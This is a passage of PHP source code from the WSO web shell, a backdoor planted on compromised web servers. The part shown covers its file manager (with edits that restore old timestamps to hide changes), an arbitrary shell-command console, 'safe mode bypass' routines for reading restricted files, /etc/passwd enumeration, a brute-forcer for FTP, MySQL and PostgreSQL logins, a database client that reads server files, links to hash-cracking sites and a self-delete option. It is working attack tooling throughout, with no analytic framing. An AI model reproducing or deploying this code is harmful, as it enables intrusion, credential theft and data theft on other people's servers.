  653. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  654. );
  655. if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  656. $files[] = array_merge($tmp, array('type' => 'file'));
  657. elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  658. $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  659. elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
  660. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  661. }
  662. $GLOBALS['sort'] = $sort;
  663. function wsoCmp($a, $b) {
  664. if($GLOBALS['sort'][0] != 'size')
  665. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  666. else
  667. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  668. }
  669. usort($files, "wsoCmp");
  670. usort($dirs, "wsoCmp");
  671. $files = array_merge($dirs, $files);
  672. $l = 0;
  673. foreach($files as $f) {
  674. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  675. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  676. $l = $l?0:1;
  677. }
  678. echo "<tr><td colspan=7>
  679. <input type=hidden name=a value='FilesMan'>
  680. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  681. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  682. <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  683. if(class_exists('ZipArchive'))
  684. echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  685. echo "<option value='tar'>Compress (tar.gz)</option>";
  686. if(!empty($_SESSION['act']) && @count($_SESSION['f']))
  687. echo "<option value='paste'>Paste / Compress</option>";
  688. echo "</select>&nbsp;";
  689. if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
  690. echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  691. echo "<input type='submit' value='>>'></td></tr></form></table></div>";
  692. wsoFooter();
  693. }
  694.  
  695.  
  696. function actionStringTools() {
  697. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  698. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  699. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  700. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  701. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  702. $stringTools = array(
  703. 'Base64 encode' => 'base64_encode',
  704. 'Base64 decode' => 'base64_decode',
  705. 'Url encode' => 'urlencode',
  706. 'Url decode' => 'urldecode',
  707. 'Full urlencode' => 'full_urlencode',
  708. 'md5 hash' => 'md5',
  709. 'sha1 hash' => 'sha1',
  710. 'crypt' => 'crypt',
  711. 'CRC32' => 'crc32',
  712. 'ASCII to HEX' => 'ascii2hex',
  713. 'HEX to ASCII' => 'hex2ascii',
  714. 'HEX to DEC' => 'hexdec',
  715. 'HEX to BIN' => 'hex2bin',
  716. 'DEC to HEX' => 'dechex',
  717. 'DEC to BIN' => 'decbin',
  718. 'BIN to HEX' => 'binhex',
  719. 'BIN to DEC' => 'bindec',
  720. 'String to lower case' => 'strtolower',
  721. 'String to upper case' => 'strtoupper',
  722. 'Htmlspecialchars' => 'htmlspecialchars',
  723. 'String length' => 'strlen',
  724. );
  725. if(isset($_POST['ajax'])) {
  726. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  727. ob_start();
  728. if(in_array($_POST['p1'], $stringTools))
  729. echo $_POST['p1']($_POST['p2']);
  730. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  731. echo strlen($temp), "\n", $temp;
  732. exit;
  733. }
  734. wsoHeader();
  735. echo '<h1>String conversions</h1><div class=content>';
  736. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  737. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  738. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  739. foreach($stringTools as $k => $v)
  740. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  741. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  742. if(!empty($_POST['p1'])) {
  743. if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  744. }
  745. echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
  746. <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  747. <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  748. <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  749. <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  750. <tr><td></td><td><input type='submit' value='>>'></td></tr>
  751. </table></form>";
  752.  
  753.  
  754. function wsoRecursiveGlob($path) {
  755. if(substr($path, -1) != '/')
  756. $path.='/';
  757. $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  758. if(is_array($paths)&&@count($paths)) {
  759. foreach($paths as $item) {
  760. if(@is_dir($item)){
  761. if($path!=$item)
  762. wsoRecursiveGlob($item);
  763. } else {
  764. if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
  765. echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
  766. }
  767. }
  768. }
  769. }
  770. if(@$_POST['p3'])
  771. wsoRecursiveGlob($_POST['c']);
  772. echo "</div><br><h1>Search for hash:</h1><div class=content>
  773. <form method='post' target='_blank' name='hf'>
  774. <input type='text' name='hash' style='width:200px;'><br>
  775. <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
  776. <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
  777. <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
  778. <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  779. <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
  780. </form></div>";
  781. wsoFooter();
  782. }
  783.  
  784.  
  785. function actionFilesTools() {
  786. if( isset($_POST['p1']) )
  787. $_POST['p1'] = urldecode($_POST['p1']);
  788. if(@$_POST['p2']=='download') {
  789. if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  790. ob_start("ob_gzhandler", 4096);
  791. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  792. if (function_exists("mime_content_type")) {
  793. $type = @mime_content_type($_POST['p1']);
  794. header("Content-Type: " . $type);
  795. } else
  796. header("Content-Type: application/octet-stream");
  797. $fp = @fopen($_POST['p1'], "r");
  798. if($fp) {
  799. while(!@feof($fp))
  800. echo @fread($fp, 1024);
  801. fclose($fp);
  802. }
  803. }exit;
  804. }
  805. if( @$_POST['p2'] == 'mkfile' ) {
  806. if(!file_exists($_POST['p1'])) {
  807. $fp = @fopen($_POST['p1'], 'w');
  808. if($fp) {
  809. $_POST['p2'] = "edit";
  810. fclose($fp);
  811. }
  812. }
  813. }
  814. wsoHeader();
  815. echo '<h1>File tools</h1><div class=content>';
  816. if( !file_exists(@$_POST['p1']) ) {
  817. echo 'File not exists';
  818. wsoFooter();
  819. return;
  820. }
  821. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  822. if(!$uid) {
  823. $uid['name'] = @fileowner($_POST['p1']);
  824. $gid['name'] = @filegroup($_POST['p1']);
  825. } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  826. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  827. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  828. if( empty($_POST['p2']) )
  829. $_POST['p2'] = 'view';
  830. if( is_file($_POST['p1']) )
  831. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  832. else
  833. $m = array('Chmod', 'Rename', 'Touch');
  834. foreach($m as $v)
  835. echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  836. echo '<br><br>';
  837. switch($_POST['p2']) {
  838. case 'view':
  839. echo '<pre class=ml1>';
  840. $fp = @fopen($_POST['p1'], 'r');
  841. if($fp) {
  842. while( !@feof($fp) )
  843. echo htmlspecialchars(@fread($fp, 1024));
  844. @fclose($fp);
  845. }
  846. echo '</pre>';
  847. break;
  848. case 'highlight':
  849. if( @is_readable($_POST['p1']) ) {
  850. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  851. $code = @highlight_file($_POST['p1'],true);
  852. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  853. }
  854. break;
  855. case 'chmod':
  856. if( !empty($_POST['p3']) ) {
  857. $perms = 0;
  858. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  859. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  860. if(!@chmod($_POST['p1'], $perms))
  861. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  862. }
  863. clearstatcache();
  864. echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  865. break;
  866. case 'edit':
  867. if( !is_writable($_POST['p1'])) {
  868. echo 'File isn\'t writeable';
  869. break;
  870. }
  871. if( !empty($_POST['p3']) ) {
  872. $time = @filemtime($_POST['p1']);
  873. $_POST['p3'] = substr($_POST['p3'],1);
  874. $fp = @fopen($_POST['p1'],"w");
  875. if($fp) {
  876. @fwrite($fp,$_POST['p3']);
  877. @fclose($fp);
  878. echo 'Saved!<br><script>p3_="";</script>';
  879. @touch($_POST['p1'],$time,$time);
  880. }
  881. }
  882. echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  883. $fp = @fopen($_POST['p1'], 'r');
  884. if($fp) {
  885. while( !@feof($fp) )
  886. echo htmlspecialchars(@fread($fp, 1024));
  887. @fclose($fp);
  888. }
  889. echo '</textarea><input type=submit value=">>"></form>';
  890. break;
  891. case 'hexdump':
  892. $c = @file_get_contents($_POST['p1']);
  893. $n = 0;
  894. $h = array('00000000<br>','','');
  895. $len = strlen($c);
  896. for ($i=0; $i<$len; ++$i) {
  897. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  898. switch ( ord($c[$i]) ) {
  899. case 0: $h[2] .= ' '; break;
  900. case 9: $h[2] .= ' '; break;
  901. case 10: $h[2] .= ' '; break;
  902. case 13: $h[2] .= ' '; break;
  903. default: $h[2] .= $c[$i]; break;
  904. }
  905. $n++;
  906. if ($n == 32) {
  907. $n = 0;
  908. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  909. $h[1] .= '<br>';
  910. $h[2] .= "\n";
  911. }
  912. }
  913. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  914. break;
  915. case 'rename':
  916. if( !empty($_POST['p3']) ) {
  917. if(!@rename($_POST['p1'], $_POST['p3']))
  918. echo 'Can\'t rename!<br>';
  919. else
  920. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  921. }
  922. echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  923. break;
  924. case 'touch':
  925. if( !empty($_POST['p3']) ) {
  926. $time = strtotime($_POST['p3']);
  927. if($time) {
  928. if(!touch($_POST['p1'],$time,$time))
  929. echo 'Fail!';
  930. else
  931. echo 'Touched!';
  932. } else echo 'Bad time format!';
  933. }
  934. clearstatcache();
  935. echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  936. break;
  937. }
  938. echo '</div>';
  939. wsoFooter();
  940. }
  941.  
  942.  
  943. function actionSafeMode() {
  944. $temp='';
  945. ob_start();
  946. switch($_POST['p1']) {
  947. case 1:
  948. $temp=@tempnam($test, 'cx');
  949. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  950. echo @file_get_contents($temp);
  951. unlink($temp);
  952. } else
  953. echo 'Sorry... Can\'t open file';
  954. break;
  955. case 2:
  956. $files = glob($_POST['p2'].'*');
  957. if( is_array($files) )
  958. foreach ($files as $filename)
  959. echo $filename."\n";
  960. break;
  961. case 3:
  962. $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
  963. curl_exec($ch);
  964. break;
  965. case 4:
  966. ini_restore("safe_mode");
  967. ini_restore("open_basedir");
  968. include($_POST['p2']);
  969. break;
  970. case 5:
  971. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  972. $uid = @posix_getpwuid($_POST['p2']);
  973. if ($uid)
  974. echo join(':',$uid)."\n";
  975. }
  976. break;
  977. }
  978. $temp = ob_get_clean();
  979. wsoHeader();
  980. echo '<h1>Safe mode bypass</h1><div class=content>';
  981. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  982. if($temp)
  983. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
  984. echo '</div>';
  985. wsoFooter();
  986. }
  987.  
  988.  
  989. function actionConsole() {
  990. if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  991. $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
  992. $_POST['p1'] .= ' 2>&1';
  993. } elseif(!empty($_POST['p1']))
  994. $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
  995.  
  996.  
  997. if(isset($_POST['ajax'])) {
  998. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  999. ob_start();
  1000. echo "d.cf.cmd.value='';\n";
  1001. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  1002. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  1003. if(@chdir($match[1])) {
  1004. $GLOBALS['cwd'] = @getcwd();
  1005. echo "c_='".$GLOBALS['cwd']."';";
  1006. }
  1007. }
  1008. echo "d.cf.output.value+='".$temp."';";
  1009. echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  1010. $temp = ob_get_clean();
  1011. echo strlen($temp), "\n", $temp;
  1012. exit;
  1013. }
  1014. wsoHeader();
  1015. echo "<script>
  1016. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1017. var cmds = new Array('');
  1018. var cur = 0;
  1019. function kp(e) {
  1020. var n = (window.Event) ? e.which : e.keyCode;
  1021. if(n == 38) {
  1022. cur--;
  1023. if(cur>=0)
  1024. document.cf.cmd.value = cmds[cur];
  1025. else
  1026. cur++;
  1027. } else if(n == 40) {
  1028. cur++;
  1029. if(cur < cmds.length)
  1030. document.cf.cmd.value = cmds[cur];
  1031. else
  1032. cur--;
  1033. }
  1034. }
  1035. function add(cmd) {
  1036. cmds.pop();
  1037. cmds.push(cmd);
  1038. cmds.push('');
  1039. cur = cmds.length-1;
  1040. }
  1041. </script>";
  1042. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  1043. foreach($GLOBALS['aliases'] as $n => $v) {
  1044. if($v == '') {
  1045. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1046. continue;
  1047. }
  1048. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1049. }
  1050. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1051. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1052. echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1053. if(!empty($_POST['p1'])) {
  1054. echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  1055. }
  1056. echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  1057. echo '</form></div><script>d.cf.cmd.focus();</script>';
  1058. wsoFooter();
  1059. }
  1060.  
  1061.  
  1062. function actionLogout() {
  1063. session_destroy();
  1064. die('bye!');
  1065. }
  1066.  
  1067.  
  1068. function actionSelfRemove() {
  1069.  
  1070. if($_POST['p1'] == 'yes')
  1071. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1072. die('Shell has been removed');
  1073. else
  1074. echo 'unlink error!';
  1075. if($_POST['p1'] != 'yes')
  1076. wsoHeader();
  1077. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1078. wsoFooter();
  1079. }
  1080.  
  1081.  
  1082. function actionBruteforce() {
  1083. wsoHeader();
  1084. if( isset($_POST['proto']) ) {
  1085. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1086. if( $_POST['proto'] == 'ftp' ) {
  1087. function bruteForce($ip,$port,$login,$pass) {
  1088. $fp = @ftp_connect($ip, $port?$port:21);
  1089. if(!$fp) return false;
  1090. $res = @ftp_login($fp, $login, $pass);
  1091. @ftp_close($fp);
  1092. return $res;
  1093. }
  1094. } elseif( $_POST['proto'] == 'mysql' ) {
  1095. function bruteForce($ip,$port,$login,$pass) {
  1096. $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1097. @mysql_close($res);
  1098. return $res;
  1099. }
  1100. } elseif( $_POST['proto'] == 'pgsql' ) {
  1101. function bruteForce($ip,$port,$login,$pass) {
  1102. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1103. $res = @pg_connect($str);
  1104. @pg_close($res);
  1105. return $res;
  1106. }
  1107. }
  1108. $success = 0;
  1109. $attempts = 0;
  1110. $server = explode(":", $_POST['server']);
  1111. if($_POST['type'] == 1) {
  1112. $temp = @file('/etc/passwd');
  1113. if( is_array($temp) )
  1114. foreach($temp as $line) {
  1115. $line = explode(":", $line);
  1116. ++$attempts;
  1117. if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1118. $success++;
  1119. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1120. }
  1121. if(@$_POST['reverse']) {
  1122. $tmp = "";
  1123. for($i=strlen($line[0])-1; $i>=0; --$i)
  1124. $tmp .= $line[0][$i];
  1125. ++$attempts;
  1126. if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1127. $success++;
  1128. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1129. }
  1130. }
  1131. }
  1132. } elseif($_POST['type'] == 2) {
  1133. $temp = @file($_POST['dict']);
  1134. if( is_array($temp) )
  1135. foreach($temp as $line) {
  1136. $line = trim($line);
  1137. ++$attempts;
  1138. if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1139. $success++;
  1140. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1141. }
  1142. }
  1143. }
  1144. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1145. }
  1146. echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1147. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1148. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1149. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1150. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1151. .'<span>Server:port</span></td>'
  1152. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1153. .'<tr><td><span>Brute type</span></td>'
  1154. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1155. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1156. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1157. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1158. .'<td><input type=text name=login value="root"></td></tr>'
  1159. .'<tr><td><span>Dictionary</span></td>'
  1160. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1161. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1162. echo '</div><br>';
  1163. wsoFooter();
  1164. }
  1165.  
  1166.  
  1167. function actionSql() {
  1168. class DbClass {
  1169. var $type;
  1170. var $link;
  1171. var $res;
  1172. function DbClass($type) {
  1173. $this->type = $type;
  1174. }
  1175. function connect($host, $user, $pass, $dbname){
  1176. switch($this->type) {
  1177. case 'mysql':
  1178. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1179. break;
  1180. case 'pgsql':
  1181. $host = explode(':', $host);
  1182. if(!$host[1]) $host[1]=5432;
  1183. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1184. break;
  1185. }
  1186. return false;
  1187. }
  1188. function selectdb($db) {
  1189. switch($this->type) {
  1190. case 'mysql':
  1191. if (@mysql_select_db($db))return true;
  1192. break;
  1193. }
  1194. return false;
  1195. }
  1196. function query($str) {
  1197. switch($this->type) {
  1198. case 'mysql':
  1199. return $this->res = @mysql_query($str);
  1200. break;
  1201. case 'pgsql':
  1202. return $this->res = @pg_query($this->link,$str);
  1203. break;
  1204. }
  1205. return false;
  1206. }
  1207. function fetch() {
  1208. $res = func_num_args()?func_get_arg(0):$this->res;
  1209. switch($this->type) {
  1210. case 'mysql':
  1211. return @mysql_fetch_assoc($res);
  1212. break;
  1213. case 'pgsql':
  1214. return @pg_fetch_assoc($res);
  1215. break;
  1216. }
  1217. return false;
  1218. }
  1219. function listDbs() {
  1220. switch($this->type) {
  1221. case 'mysql':
  1222. return $this->query("SHOW databases");
  1223. break;
  1224. case 'pgsql':
  1225. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1226. break;
  1227. }
  1228. return false;
  1229. }
  1230. function listTables() {
  1231. switch($this->type) {
  1232. case 'mysql':
  1233. return $this->res = $this->query('SHOW TABLES');
  1234. break;
  1235. case 'pgsql':
  1236. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1237. break;
  1238. }
  1239. return false;
  1240. }
  1241. function error() {
  1242. switch($this->type) {
  1243. case 'mysql':
  1244. return @mysql_error();
  1245. break;
  1246. case 'pgsql':
  1247. return @pg_last_error();
  1248. break;
  1249. }
  1250. return false;
  1251. }
  1252. function setCharset($str) {
  1253. switch($this->type) {
  1254. case 'mysql':
  1255. if(function_exists('mysql_set_charset'))
  1256. return @mysql_set_charset($str, $this->link);
  1257. else
  1258. $this->query('SET CHARSET '.$str);
  1259. break;
  1260. case 'pgsql':
  1261. return @pg_set_client_encoding($this->link, $str);
  1262. break;
  1263. }
  1264. return false;
  1265. }
  1266. function loadFile($str) {
  1267. switch($this->type) {
  1268. case 'mysql':
  1269. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1270. break;
  1271. case 'pgsql':
  1272. $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1273. $r=array();
  1274. while($i=$this->fetch())
  1275. $r[] = $i['file'];
  1276. $this->query('drop table wso2');
  1277. return array('file'=>implode("\n",$r));
  1278. break;
  1279. }
  1280. return false;
  1281. }
  1282. function dump($table, $fp = false) {
  1283. switch($this->type) {
  1284. case 'mysql':
  1285. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1286. $create = mysql_fetch_array($res);
  1287. $sql = $create[1].";\n";
  1288. if($fp) fwrite($fp, $sql); else echo($sql);
  1289. $this->query('SELECT * FROM `'.$table.'`');
  1290. $head = true;
  1291. while($item = $this->fetch()) {
  1292. $columns = array();
  1293. foreach($item as $k=>$v) {
  1294. if($v == null)
  1295. $item[$k] = "NULL";
  1296. elseif(is_numeric($v))
  1297. $item[$k] = $v;
  1298. else
  1299. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1300. $columns[] = "`".$k."`";
  1301. }
  1302. if($head) {
